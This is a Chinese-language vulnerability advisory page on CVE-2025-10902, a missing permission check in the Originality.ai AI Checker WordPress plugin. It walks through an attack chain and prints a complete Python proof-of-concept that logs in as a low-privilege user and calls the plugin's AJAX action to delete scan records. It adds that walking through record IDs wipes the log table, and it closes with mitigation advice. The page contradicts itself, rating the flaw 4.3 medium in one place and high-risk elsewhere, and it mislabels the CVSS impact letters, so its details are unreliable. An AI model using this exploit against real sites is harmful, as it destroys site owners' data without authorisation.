IPBUF安全漏洞报告
English
CVE-2025-10902 CVSS 4.3 中危

CVE-2025-10902 WordPress Originality.ai AI Checker插件权限绕过漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-10902
漏洞类型
IDOR权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Originality.ai AI Checker WordPress Plugin

相关标签

WordPress插件漏洞IDOR权限绕过Originality.aiAI Checker缺少权限验证数据删除漏洞CVE-2025-10902

漏洞概述

CVE-2025-10902是WordPress平台Originality.ai AI Checker插件中的一个高危安全漏洞。该插件用于检测内容的AI生成特征,在1.0.15及之前的所有版本中存在严重的权限控制缺陷。漏洞根源在于'ai_scan_result_remove'函数缺少必要的权限检查(capability check),导致任何已认证用户(包括最低权限的Subscriber订阅者)都可以调用该函数执行数据库删除操作。攻击者利用此漏洞可以删除wp_originalityai_log数据库表中的全部记录,这些数据包含帖子标题、扫描评分、使用的积分额度以及其他关键业务数据。此漏洞无需任何用户交互,攻击者只需拥有有效的WordPress账号即可发起攻击,对网站的数据完整性和业务连续性造成严重威胁。

技术细节

该漏洞属于IDOR(Insecure Direct Object Reference,不安全的直接对象引用)类型的权限绕过问题。在Originality.ai AI Checker插件的OriginalityAI.php文件第532行附近,'ai_scan_result_remove'函数直接接收用户输入的扫描结果ID参数,但未对该函数进行任何current_user_can()或类似权限验证检查。攻击者通过构造特定的AJAX请求,将目标扫描结果的ID作为参数传递,即可触发数据库删除操作。由于WordPress的Subscriber角色默认允许用户登录并访问管理后台,攻击门槛极低。攻击者可以通过遍历不同的扫描结果ID,实现批量删除数据库记录,最终导致wp_originalityai_log表数据完全清空。CVSS 3.1向量显示该漏洞通过网络(AV:N)发起攻击,攻击者需要低权限(PR:L),无需用户交互(UI:N),对机密性(I:L)和完整性(C:L)造成低影响,对可用性无影响(A:N)。

攻击链分析

STEP 1
1
攻击者获取WordPress网站的有效账号(Subscriber级别或更高权限)
STEP 2
2
攻击者构造AJAX请求到wp-admin/admin-ajax.php,指定action为'ai_scan_result_remove'
STEP 3
3
攻击者在请求中指定目标scan_result_id参数,由于函数缺少权限验证直接执行删除
STEP 4
4
服务器执行SQL DELETE操作,从wp_originalityai_log表中删除指定记录
STEP 5
5
攻击者通过遍历不同的ID实现批量删除,最终清空整个数据表

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10902 PoC - Originality.ai AI Checker Plugin IDOR # Target: WordPress site with Originality.ai plugin <= 1.0.15 def exploit_idor(target_url, username, password, scan_result_id): """ Exploit the missing capability check vulnerability in ai_scan_result_remove function """ # Setup session session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP Cookie check'}) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the IDOR vulnerability exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'ai_scan_result_remove', 'scan_result_id': scan_result_id # Can be any ID due to missing auth check } print(f"[*] Exploiting IDOR vulnerability to delete scan result ID: {scan_result_id}...") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Successfully deleted scan result!") return True else: print(f"[-] Exploitation failed. Response: {response.text}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <scan_result_id>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] scan_id = sys.argv[4] exploit_idor(target, user, pwd, scan_id)

影响范围

Originality.ai AI Checker WordPress Plugin <= 1.0.15

防御指南

临时缓解措施
在官方补丁发布前,建议临时采取以下措施:(1)限制WordPress新用户注册功能,防止攻击者获取Subscriber账号;(2)使用WordPress安全插件如Wordfence设置IP白名单或速率限制;(3)对wp_originalityai_log表进行定期备份;(4)考虑暂时禁用Originality.ai插件直到完成升级;(5)使用Web应用防火墙(WAF)监控和阻止异常的admin-ajax.php请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表